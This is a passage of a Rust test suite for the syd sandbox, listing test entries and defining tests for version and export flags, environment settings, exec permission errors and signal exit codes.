test_entry!(test_syd_recvmmsg_unix_dgram_connected),
test_entry!(test_syd_recvmmsg_unix_dgram_ambiguous),
test_entry!(test_syd_recvmmsg_unix_dgram_multidst),
test_entry!(test_syd_recvfrom_unix_dgram_seqsend),
test_entry!(test_syd_recvfrom_unix_dgram_overflow),
test_entry!(test_syd_recvmsg_unix_dgram_overflow),
test_entry!(test_syd_exp_recvmmsg_unix_dgram_overflow),
test_entry!(test_syd_recvfrom_unix_dgram_abstract),
test_entry!(test_syd_recvmsg_unix_dgram_abstract),
test_entry!(test_syd_recvmmsg_unix_dgram_abstract),
test_entry!(test_syd_connect_unix_null_allow),
test_entry!(test_syd_connect_unix_null_deny),
test_entry!(test_syd_close_on_exec),
test_entry!(test_syd_open_exclusive_restart),
test_entry!(test_syd_open_exclusive_repeat),
test_entry!(test_syd_find_root_mount_1),
test_entry!(test_syd_find_root_mount_2),
test_entry!(test_syd_root_bind_tmp),
test_entry!(test_syd_root_bind_dir),
test_entry!(test_syd_setsid_detach_tty),
test_entry!(test_syd_pty_dev_console_1),
test_entry!(test_syd_pty_dev_console_2),
test_entry!(test_syd_pty_dev_tty_1),
test_entry!(test_syd_pty_dev_tty_2),
test_entry!(test_syd_pty_dev_ptmx),
test_entry!(test_syd_pty_io_rust),
test_entry!(test_syd_pty_io_gawk),
test_entry!(test_syd_pty_sandbox),
test_entry!(test_syd_diff_dev_fd),
test_entry!(test_syd_exp_fifo_multiple_readers),
test_entry!(test_syd_bind_unix_socket),
test_entry!(test_syd_peercred_unix_abs_socket),
test_entry!(test_syd_peercred_unix_dom_socket),
test_entry!(test_syd_peerpidfd_unix_abs_socket),
test_entry!(test_syd_peerpidfd_unix_dom_socket),
test_entry!(test_syd_getsockopt_peercred_upper_name),
test_entry!(test_syd_getsockopt_peercred_upper_level),
test_entry!(test_syd_getsockopt_peerpidfd_upper_name),
test_entry!(test_syd_getsockopt_peerpidfd_upper_level),
test_entry!(test_syd_readlinkat_proc_self_default),
test_entry!(test_syd_readlinkat_proc_self_unsafe),
test_entry!(test_syd_readlinkat_proc_self_unix_default),
test_entry!(test_syd_readlinkat_proc_self_unix_unsafe),
test_entry!(test_syd_readlink_truncate_proc_self),
test_entry!(test_syd_readlink_truncate_proc_thread_self),
test_entry!(test_syd_readlink_truncate_proc_pid_exe),
test_entry!(test_syd_readlink_negative_size),
test_entry!(test_syd_readlinkat_negative_size),
test_entry!(test_syd_getdents64_truncate),
test_entry!(test_syd_getdents64_zero_count),
test_entry!(test_syd_signal_protection_simple_landlock),
test_entry!(test_syd_signal_protection_simple_killprot),
test_entry!(test_syd_signal_protection_killpg_0_landlock),
test_entry!(test_syd_signal_protection_killpg_0_killprot_default),
test_entry!(test_syd_signal_protection_killpg_0_killprot_unsafe),
test_entry!(test_syd_signal_protection_killpg_self_landlock),
test_entry!(test_syd_signal_protection_killpg_self_killprot_default),
test_entry!(test_syd_signal_protection_killpg_self_killprot_unsafe),
test_entry!(test_syd_signal_protection_killpg_syd_landlock),
test_entry!(test_syd_signal_protection_killpg_syd_killprot_default),
test_entry!(test_syd_signal_protection_killpg_syd_killprot_unsafe),
test_entry!(test_syd_signal_protection_mass_0_landlock),
test_entry!(test_syd_signal_protection_mass_0_killprot_default),
test_entry!(test_syd_signal_protection_mass_0_killprot_unsafe),
test_entry!(test_syd_signal_protection_mass_int_landlock),
test_entry!(test_syd_signal_protection_mass_int_killprot_default),
test_entry!(test_syd_signal_protection_mass_int_killprot_unsafe),
test_entry!(test_syd_exp_signal_protection_bare_kill_one),
test_entry!(test_syd_exp_signal_protection_bare_sigqueue_one),
test_entry!(test_syd_exp_signal_protection_bare_tkill_one),
test_entry!(test_syd_exp_signal_protection_pidns_kill_all),
test_entry!(test_syd_exp_signal_protection_pidns_kill_one),
test_entry!(test_syd_exp_signal_protection_pidns_sigqueue_all),
test_entry!(test_syd_exp_signal_protection_pidns_sigqueue_one),
test_entry!(test_syd_exp_signal_protection_pidns_tgkill_all),
test_entry!(test_syd_exp_signal_protection_pidns_tgsigqueue_all),
test_entry!(test_syd_exp_signal_protection_pidns_tkill_all),
test_entry!(test_syd_exp_signal_protection_pidns_tkill_one),
test_entry!(test_syd_signal_protection_pty),
test_entry!(test_syd_signal_protection_tor),
test_entry!(test_syd_exp_emulate_open_fifo),
test_entry!(test_syd_interrupt_fifo_eintr_linux),
test_entry!(test_syd_interrupt_fifo_eintr_syd),
test_entry!(test_syd_interrupt_fifo_restart_linux),
test_entry!(test_syd_interrupt_fifo_restart_syd),
test_entry!(test_syd_interrupt_fifo_oneshot_eintr_linux),
test_entry!(test_syd_interrupt_fifo_oneshot_eintr_syd),
test_entry!(test_syd_interrupt_fifo_oneshot_restart_linux),
test_entry!(test_syd_interrupt_fifo_oneshot_restart_syd),
test_entry!(test_syd_interrupt_pthread_sigmask),
test_entry!(test_syd_interrupt_kill),
test_entry!(test_syd_deny_magiclinks),
test_entry!(test_syd_open_magiclinks_1),
test_entry!(test_syd_open_magiclinks_2),
test_entry!(test_syd_open_magiclinks_3),
test_entry!(test_syd_open_magiclinks_4),
test_entry!(test_syd_lstat_magiclinks),
test_entry!(test_syd_access_unsafe_paths_per_process_default),
test_entry!(test_syd_access_unsafe_paths_per_process_sydinit),
test_entry!(test_syd_prevent_block_device_access),
test_entry!(test_syd_access_proc_cmdline),
test_entry!(test_syd_mkdir_with_control_chars_default),
test_entry!(test_syd_mkdir_with_control_chars_unsafe),
test_entry!(test_syd_touch_with_control_chars_default),
test_entry!(test_syd_touch_with_control_chars_unsafe),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_fanotify_mark_cwd_allow),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_fanotify_mark_cwd_deny),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_fanotify_mark_dir_allow),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_fanotify_mark_dir_deny),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_fanotify_mark_path_allow),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_fanotify_mark_path_deny),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_fanotify_mark_dir_path_allow),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_fanotify_mark_dir_path_deny),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_fanotify_mark_symlink_allow),
#[cfg(not(target_os = "android"))]
test_entry!(test_syd_fanotify_mark_symlink_deny),
test_entry!(test_syd_inotify_add_watch_path_allow),
test_entry!(test_syd_inotify_add_watch_path_deny),
test_entry!(test_syd_inotify_add_watch_symlink_allow),
test_entry!(test_syd_inotify_add_watch_symlink_deny),
test_entry!(test_syd_utsname_host),
test_entry!(test_syd_utsname_domain),
test_entry!(test_syd_utsname_version),
test_entry!(test_syd_unshare_net_set_up_loopback),
test_entry!(test_syd_unshare_net_set_bigtcp_loopback_gro_max),
test_entry!(test_syd_unshare_net_set_bigtcp_loopback_gso_max),
test_entry!(test_syd_unshare_net_set_bigtcp_loopback_gro_ipv4_max),
test_entry!(test_syd_unshare_net_set_bigtcp_loopback_gso_ipv4_max),
test_entry!(test_syd_unshare_user_bypass_limit),
test_entry!(test_syd_setns_upper_deny),
test_entry!(test_syd_setns_upper_bypass),
test_entry!(test_syd_stat_after_delete_reg_1),
test_entry!(test_syd_stat_after_delete_reg_2),
test_entry!(test_syd_stat_after_delete_dir_1),
test_entry!(test_syd_stat_after_delete_dir_2),
test_entry!(test_syd_stat_after_delete_dir_3),
test_entry!(test_syd_stat_after_rename_reg_1),
test_entry!(test_syd_stat_after_rename_reg_2),
test_entry!(test_syd_stat_after_rename_dir_1),
test_entry!(test_syd_stat_after_rename_dir_2),
test_entry!(test_syd_stat_after_rename_dir_3),
test_entry!(test_syd_stat_after_rename_dir_4),
test_entry!(test_syd_profile_user_list_proc_self_fd),
test_entry!(test_syd_exp_interrupt_mkdir),
test_entry!(test_syd_exp_interrupt_bind_ipv4),
test_entry!(test_syd_exp_interrupt_bind_unix),
test_entry!(test_syd_exp_interrupt_connect_ipv4),
//FIXME: This test should be done better.
//test_entry!(test_syd_repetitive_clone),
test_entry!(test_syd_ROP_linux),
test_entry!(test_syd_ROP_default),
test_entry!(test_syd_ROP_unsafe_exec_null),
test_entry!(test_syd_ROP_unsafe_ptrace),
test_entry!(test_syd_SROP_linux),
test_entry!(test_syd_SROP_default),
test_entry!(test_syd_SROP_unsafe),
test_entry!(test_syd_SROP_detect_genuine_sigreturn),
test_entry!(test_syd_SROP_detect_artificial_sigreturn_default),
test_entry!(test_syd_SROP_detect_artificial_sigreturn_unsafe),
test_entry!(test_syd_SROP_detect_handler_ucontext_rip),
test_entry!(test_syd_SROP_detect_handler_toggle_1),
test_entry!(test_syd_SROP_detect_handler_toggle_2),
test_entry!(test_syd_SROP_cross_thread_tgkill),
test_entry!(test_syd_SROP_cross_thread_kill),
test_entry!(test_syd_SROP_siglongjmp_tgkill),
test_entry!(test_syd_SROP_siglongjmp_kill),
test_entry!(test_syd_SROP_siglongjmp_asmwrap),
test_entry!(test_syd_SROP_sigreturn_altstack),
test_entry!(test_syd_SROP_detect_sigign),
test_entry!(test_syd_SROP_async_preempt_go),
test_entry!(test_syd_pid_fork_kill),
test_entry!(test_syd_pid_thread_kill),
test_entry!(test_syd_pid_fork_bomb),
test_entry!(test_syd_pid_fork_bomb_asm),
test_entry!(test_syd_pid_thread_bomb),
test_entry!(test_syd_mem_alloc_deny),
test_entry!(test_syd_mem_alloc_kill),
test_entry!(test_syd_exp_mem_stress_ng_malloc_1),
test_entry!(test_syd_exp_mem_stress_ng_malloc_2),
test_entry!(test_syd_exp_mem_stress_ng_mmap),
test_entry!(test_syd_exp_pid_stress_ng_kill),
test_entry!(test_syd_exp_pid_stress_ng_allow),
test_entry!(test_syd_exp_pid_stress_ng_fork),
test_entry!(test_syd_exp_crypt_stress_ng),
test_entry!(test_syd_exp_trinity),
test_entry!(test_syd_proc_set_at_secure_test_native_dynamic_1),
test_entry!(test_syd_proc_set_at_secure_test_native_dynamic_2),
test_entry!(test_syd_proc_set_at_secure_test_native_static_1),
test_entry!(test_syd_proc_set_at_secure_test_native_static_2),
test_entry!(test_syd_proc_set_at_secure_test_native_dynamic_pie_1),
test_entry!(test_syd_proc_set_at_secure_test_native_dynamic_pie_2),
test_entry!(test_syd_proc_set_at_secure_test_native_static_pie_1),
test_entry!(test_syd_proc_set_at_secure_test_native_static_pie_2),
test_entry!(test_syd_proc_set_at_secure_test_32bit_dynamic_1),
test_entry!(test_syd_proc_set_at_secure_test_32bit_dynamic_2),
test_entry!(test_syd_proc_set_at_secure_test_32bit_static_1),
test_entry!(test_syd_proc_set_at_secure_test_32bit_static_2),
test_entry!(test_syd_proc_set_at_secure_test_32bit_dynamic_pie_1),
test_entry!(test_syd_proc_set_at_secure_test_32bit_dynamic_pie_2),
test_entry!(test_syd_proc_set_at_secure_test_32bit_static_pie_1),
test_entry!(test_syd_proc_set_at_secure_test_32bit_static_pie_2),
test_entry!(test_syd_ptrace_set_syscall_chdir_noop),
test_entry!(test_syd_ptrace_set_syscall_chdir_eperm),
test_entry!(test_syd_ptrace_set_syscall_chdir_enoent),
test_entry!(test_syd_ptrace_set_syscall_chdir_eintr),
test_entry!(test_syd_ptrace_set_syscall_chdir_eio),
test_entry!(test_syd_ptrace_set_syscall_chdir_enxio),
test_entry!(test_syd_ptrace_set_syscall_chdir_e2big),
test_entry!(test_syd_ptrace_set_syscall_chdir_enoexec),
test_entry!(test_syd_ptrace_set_syscall_chdir_ebadf),
test_entry!(test_syd_ptrace_set_syscall_chdir_echild),
test_entry!(test_syd_ptrace_get_syscall_info_random_args),
test_entry!(test_syd_ptrace_get_error_chdir_success),
test_entry!(test_syd_ptrace_get_error_chdir_enoent),
test_entry!(test_syd_ptrace_get_error_chdir_eacces),
test_entry!(test_syd_ptrace_get_error_chdir_enotdir),
test_entry!(test_syd_ptrace_get_error_chdir_efault),
test_entry!(test_syd_ptrace_set_syscall_info_entry_noop),
test_entry!(test_syd_ptrace_set_syscall_info_entry_skip),
test_entry!(test_syd_ptrace_set_syscall_info_exit_success),
test_entry!(test_syd_ptrace_set_syscall_info_exit_error),
test_entry!(test_syd_ptrace_set_syscall_info_reserved_nonzero),
test_entry!(test_syd_ptrace_set_syscall_info_flags_nonzero),
test_entry!(test_syd_ptrace_set_syscall_info_change_nr),
test_entry!(test_syd_ptrace_set_syscall_info_change_arg0),
test_entry!(test_syd_ptrace_set_syscall_info_change_arg1),
test_entry!(test_syd_ptrace_set_syscall_info_change_arg2),
test_entry!(test_syd_ptrace_set_syscall_info_change_arg3),
test_entry!(test_syd_ptrace_set_syscall_info_change_arg4),
test_entry!(test_syd_ptrace_set_syscall_info_change_arg5),
test_entry!(test_syd_ptrace_get_arg0),
test_entry!(test_syd_ptrace_get_arg1),
test_entry!(test_syd_ptrace_get_arg2),
test_entry!(test_syd_ptrace_get_arg3),
test_entry!(test_syd_ptrace_get_arg4),
test_entry!(test_syd_ptrace_get_arg5),
test_entry!(test_syd_ptrace_set_arg0),
test_entry!(test_syd_ptrace_set_arg1),
test_entry!(test_syd_ptrace_set_arg2),
test_entry!(test_syd_ptrace_set_arg3),
test_entry!(test_syd_ptrace_set_arg4),
test_entry!(test_syd_ptrace_set_arg5),
test_entry!(test_syd_ptrace_get_args0),
test_entry!(test_syd_ptrace_get_args1),
test_entry!(test_syd_ptrace_get_args2),
test_entry!(test_syd_ptrace_get_args3),
test_entry!(test_syd_ptrace_get_args4),
test_entry!(test_syd_ptrace_get_args5),
test_entry!(test_syd_ptrace_set_args0),
test_entry!(test_syd_ptrace_set_args1),
test_entry!(test_syd_ptrace_set_args2),
test_entry!(test_syd_ptrace_set_args3),
test_entry!(test_syd_ptrace_set_args4),
test_entry!(test_syd_ptrace_set_args5),
test_entry!(test_syd_ptrace_get_arch_matches_native),
test_entry!(test_syd_ptrace_get_stack_ptr_matches_proc),
test_entry!(test_syd_ptrace_get_stack_ptr_einval),
test_entry!(test_syd_ptrace_get_link_register_in_text),
test_entry!(test_syd_ptrace_getsiginfo_user),
test_entry!(test_syd_ptrace_getsiginfo_tkill),
test_entry!(test_syd_ptrace_getsiginfo_queue),
test_entry!(test_syd_ptrace_getsiginfo_kernel_segv),
test_entry!(test_syd_waitid_with_kptr_default),
test_entry!(test_syd_waitid_with_kptr_unsafe),
test_entry!(test_syd_tor_recv4_one),
test_entry!(test_syd_tor_recv6_one),
test_entry!(test_syd_tor_send44_one),
test_entry!(test_syd_tor_send46_one),
test_entry!(test_syd_tor_send4u_one),
test_entry!(test_syd_tor_send66_one),
test_entry!(test_syd_tor_send64_one),
test_entry!(test_syd_tor_send6u_one),
test_entry!(test_syd_tor_send44_many_seq),
test_entry!(test_syd_tor_send46_many_seq),
test_entry!(test_syd_tor_send4u_many_seq),
test_entry!(test_syd_tor_send66_many_seq),
test_entry!(test_syd_tor_send64_many_seq),
test_entry!(test_syd_tor_send6u_many_seq),
test_entry!(test_syd_tor_send44_many_par),
test_entry!(test_syd_tor_send46_many_par),
test_entry!(test_syd_tor_send4u_many_par),
test_entry!(test_syd_tor_send66_many_par),
test_entry!(test_syd_tor_send64_many_par),
test_entry!(test_syd_tor_send6u_many_par),
test_entry!(test_syd_dbus_fd),
test_entry!(test_syd_dbus_fd_errors),
test_entry!(test_syd_lock_errata),
//TODO:test_entry!(test_syd_tor_bench), // use wrk
//TODO:test_entry!(test_syd_tor_proxy), // use haproxy/nginx+wrk
// TODO: Investigate podman errors on CI:
// https://builds.sr.ht/~alip/job/1644856
#[cfg(all(feature = "oci", not(target_env = "musl")))]
test_entry!(test_syd_oci_api_version_major),
#[cfg(all(feature = "oci", not(target_env = "musl")))]
test_entry!(test_syd_oci_api_version_minor),
#[cfg(all(feature = "oci", not(target_env = "musl")))]
test_entry!(test_syd_oci_api_version_version),
#[cfg(all(feature = "oci", not(target_env = "musl")))]
test_entry!(test_syd_oci_syslog_init),
];
// Tests if syd -V and --version works.
fn test_syd_version() -> TestResult {
let status = syd().arg("-V").status().expect("execute syd");
assert_status_ok!(status);
let status = syd()
.stdout(Stdio::null())
.stderr(Stdio::null())
.arg("--version")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if syd -E works.
fn test_syd_export_syntax_1() -> TestResult {
skip_unless_available!("true");
let status = syd()
.arg("-Ebpf")
.stderr(Stdio::inherit())
.stdout(Stdio::null())
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if syd -E works.
fn test_syd_export_syntax_2() -> TestResult {
skip_unless_available!("true");
let status = syd()
.arg("-Epfc")
.stderr(Stdio::inherit())
.stdout(Stdio::null())
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if syd -E works.
fn test_syd_export_syntax_3() -> TestResult {
skip_unless_available!("true");
let status = syd()
.arg("-EBPF")
.stderr(Stdio::inherit())
.stdout(Stdio::null())
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if syd -E works.
fn test_syd_export_syntax_4() -> TestResult {
skip_unless_available!("true");
let status = syd()
.arg("-EPFC")
.stderr(Stdio::inherit())
.stdout(Stdio::null())
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if syd -E works.
fn test_syd_export_syntax_5() -> TestResult {
skip_unless_available!("true");
let status = syd()
.arg("-EbPf")
.stderr(Stdio::inherit())
.stdout(Stdio::null())
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if syd -E works.
fn test_syd_export_syntax_6() -> TestResult {
skip_unless_available!("true");
let status = syd()
.arg("-EPfc")
.stderr(Stdio::inherit())
.stdout(Stdio::null())
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if syd -E works.
fn test_syd_export_syntax_7() -> TestResult {
skip_unless_available!("true");
let status = syd()
.arg("-Eb")
.stderr(Stdio::inherit())
.stdout(Stdio::null())
.status()
.expect("execute syd");
assert_status_not_ok!(status);
let status = syd()
.arg("-Ef")
.stderr(Stdio::inherit())
.stdout(Stdio::null())
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
// Tests if syd -E outputs parent rules.
fn test_syd_export_sanity_parent() -> TestResult {
skip_unless_available!("grep", "sh");
let syd = &SYD.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!("{syd} -Epfc | grep -iq 'syd parent rules'"))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
// Tests if syd -E outputs socket rules.
fn test_syd_export_sanity_socket() -> TestResult {
skip_unless_available!("grep", "sh");
let syd = &SYD.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!("{syd} -Epfc | grep -iq 'syd socket rules'"))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
// Tests if syd -E outputs waiter rules.
fn test_syd_export_sanity_waiter() -> TestResult {
skip_unless_available!("grep", "sh");
let syd = &SYD.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!("{syd} -Epfc | grep -iq 'syd waiter rules'"))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
// Tests if syd -E outputs process rules.
fn test_syd_export_sanity_process() -> TestResult {
skip_unless_available!("grep", "sh");
let syd = &SYD.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!("{syd} -Epfc | grep -iq 'syd process rules'"))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
// Tests if syd -E outputs monitor rules.
fn test_syd_export_sanity_monitor() -> TestResult {
skip_unless_available!("grep", "sh");
let syd = &SYD.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!("{syd} -Epfc | grep -iq 'syd monitor rules'"))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_config_environment_simple() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("setenv!HOME=/tmp/syd")
.arg("sh")
.arg("-cex")
.arg(r#"test x$HOME = x/tmp/syd"#)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_config_environment_override_simple() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("setenv!HOME=/tmp")
.m("setenv!HOME=${HOME}/syd")
.arg("sh")
.arg("-cex")
.arg(r#"test x$HOME = x/tmp/syd"#)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_config_environment_override_with_default_unset() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("setenv!HOME=/var")
.m("unsetenv!HOME")
.m("setenv!HOME=${HOME:-/tmp}/syd")
.arg("sh")
.arg("-cex")
.arg(r#"test x$HOME = x/tmp/syd"#)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_config_environment_override_with_default_clear() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("setenv!HOME=/var")
.m("clearenv!")
.m("setenv!HOME=${HOME:-/tmp}/syd")
.m("setenv!PATH=/usr/local/bin:/usr/bin:/bin")
.arg("sh")
.arg("-cex")
.arg(r#"test x$HOME = x/tmp/syd"#)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_config_environment_deny_set() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("setenv!SYD_LOG_FD=1")
.arg("sh")
.arg("-cex")
.arg(r#"true"#)
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_config_environment_deny_unset() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("unsetenv!SYD_LOG_FD=1")
.arg("sh")
.arg("-cex")
.arg(r#"true"#)
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_config_environment_filter_clear() -> TestResult {
skip_unless_available!("sh");
let log = env::var_os("SYD_LOG");
env::set_var("SYD_LOG", "alert");
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("clearenv!")
.m("setenv!HOME=/tmp/${SYD_LOG}")
.m("setenv!PATH=/usr/local/bin:/usr/bin:/bin")
.arg("sh")
.arg("-cex")
.arg(r#"test x$HOME = x/tmp/alert"#)
.status();
if let Some(var) = log {
env::set_var("SYD_LOG", var);
} else {
env::remove_var("SYD_LOG");
}
let status = status.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_config_environment_deny_live_set() -> TestResult {
let status = syd()
.p("fs")
.m("lock:exec")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("stat", ["/dev/syd/setenv!HOME=1"])
.status()
.expect("execute syd");
assert_status_busy!(status);
Ok(())
}
fn test_syd_config_environment_deny_live_unset() -> TestResult {
let status = syd()
.p("fs")
.m("lock:exec")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("stat", ["/dev/syd/unsetenv!HOME"])
.status()
.expect("execute syd");
assert_status_busy!(status);
Ok(())
}
fn test_syd_config_environment_deny_live_clear() -> TestResult {
let status = syd()
.p("fs")
.m("lock:exec")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("stat", ["/dev/syd/clearenv!"])
.status()
.expect("execute syd");
assert_status_busy!(status);
Ok(())
}
fn test_syd_log_fd_validate() -> TestResult {
skip_unless_available!("grep", "head", "sh");
skip_unless_landlock_abi_supported!(1);
let syd = &SYD.to_string();
let status = Command::new("sh")
.env("EBADF", EBADF.to_string())
.env("EBADFD", EBADFD.to_string())
.arg("-cex")
.arg(format!(
r##"
r=0
SYD_LOG_FD=-9 {syd} -pu true </dev/null || r=$?
test $r -eq 0
r=0
SYD_LOG_FD=9 {syd} -pu true </dev/null || r=$?
test $r -eq ${{EBADF}}
r=0
:>syd.log
SYD_LOG_FD=9 {syd} -pu true </dev/null 9<syd.log || r=$?
test $r -eq ${{EBADFD}}
r=0
rm -f syd.log
SYD_LOG_FD=9 SYD_LOG=info {syd} -pu true </dev/null 9>syd.log || r=$?
test $r -eq 0
test -s syd.log
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
// Tests if `true` returns success under sandbox.
fn test_syd_true_returns_success() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("exit", ["0"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if `syd` returns success for a sandbox running many processes,
// in case the execve child returns success.
fn test_syd_true_returns_success_with_many_processes() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("fork", ["0", "8"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if `syd` returns success for a sandbox running many threads,
// in case the execve child returns success.
fn test_syd_true_returns_success_with_many_threads() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("thread", ["0", "8"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if `false` returns failure under sandbox.
fn test_syd_false_returns_failure() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["false"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
let status = syd()
.p("off")
.argv(["false"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
// Tests if `syd` returns failure for a sandbox running many processes,
// in case the execve child returns failure.
fn test_syd_true_returns_failure_with_many_processes() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("fork", ["7", "8"])
.status()
.expect("execute syd");
assert_status_code!(status, 7);
Ok(())
}
// Tests if `syd` returns failure for a sandbox running many threads,
// in case the execve child returns failure.
fn test_syd_true_returns_failure_with_many_threads() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("thread", ["7", "8"])
.status()
.expect("execute syd");
assert_status_code!(status, 7);
Ok(())
}
fn test_syd_at_execve_check() -> TestResult {
skip_unless_at_execve_check_is_supported!();
skip_unless_available!("sh");
let syd_x = &SYD_X.to_string();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["sh", "-cex"])
.arg(format!(
r##"
{syd_x} exec || r=$?
test $r -eq 2 # ENOENT
:>exec
test -x exec || true
{syd_x} exec || r=$?
test $r -eq 13 # EACCES
chmod +x exec
test -x exec
{syd_x} exec || r=$?
test $r -eq 8 # ENOEXEC
echo '#!/bin/true' > exec
{syd_x} exec
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_empty_file_returns_enoexec() -> TestResult {
// Step 1: Create a file that's empty called "empty"
let path = Path::new("empty");
let file = File::create(path)?;
// Set permissions to executable
let mut perms = file.metadata()?.permissions();
perms.set_mode(0o755); // -rwxr-xr-x
file.set_permissions(perms)?;
drop(file); // close the file.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.do_("exec", ["./empty"])
.status()
.expect("execute syd");
assert_status_code!(status, ENOEXEC);
Ok(())
}
fn test_syd_non_executable_file_returns_eacces_empty() -> TestResult {
// Create a file that's non-executable called "non-executable"
let path = Path::new("non-executable");
let file = File::create(path)?;
// Set permissions to non-executable
let mut perms = file.metadata()?.permissions();
perms.set_mode(0o644); // -rw-r--r--
file.set_permissions(perms)?;
drop(file); // close the file.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.do_("exec", ["./non-executable"])
.status()
.expect("execute syd");
// empty & non-executable file must return EACCES not ENOEXEC!
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_non_executable_file_returns_eacces_binary() -> TestResult {
// Create a file that's non-executable called "non-executable"
let path = Path::new("non-executable");
let mut file = File::create(path)?;
writeln!(
file,
"Change return success. Going and coming without error. Action brings good fortune."
)?;
// Set permissions to non-executable
let mut perms = file.metadata()?.permissions();
perms.set_mode(0o644); // -rw-r--r--
file.set_permissions(perms)?;
drop(file); // close the file.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.do_("exec", ["./non-executable"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_non_executable_file_returns_eacces_script() -> TestResult {
// Create a file that's non-executable called "non-executable"
let path = Path::new("non-executable");
let mut file = File::create(path)?;
writeln!(file, "#!/bin/sh\nexit 42")?;
// Set permissions to non-executable
let mut perms = file.metadata()?.permissions();
perms.set_mode(0o644); // -rw-r--r--
file.set_permissions(perms)?;
drop(file); // close the file.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.do_("exec", ["./non-executable"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_sigint_returns_130() -> TestResult {
skip_unless_available!("kill", "sh");
let status = syd()
.p("off")
.argv(["sh", "-cx"])
.arg(r#"exec kill -INT $$"#)
.status()
.expect("execute syd");
assert_status_code!(status, 130);
Ok(())
}
fn test_syd_sigabrt_returns_134() -> TestResult {
skip_unless_available!("kill", "sh");
let status = syd()
.p("off")
.argv(["sh", "-cx"])
.arg(r#"exec kill -ABRT $$"#)
.status()
.expect("execute syd");
assert_status_code!(status, 134);
Ok(())
}
fn test_syd_sigkill_returns_137() -> TestResult {
skip_unless_available!("kill", "sh");
let status = syd()
.p("off")
.argv(["sh", "-cx"])
.arg(r#"exec kill -KILL $$"#)
.status()
.expect("execute syd");
assert_status_code!(status, 137);
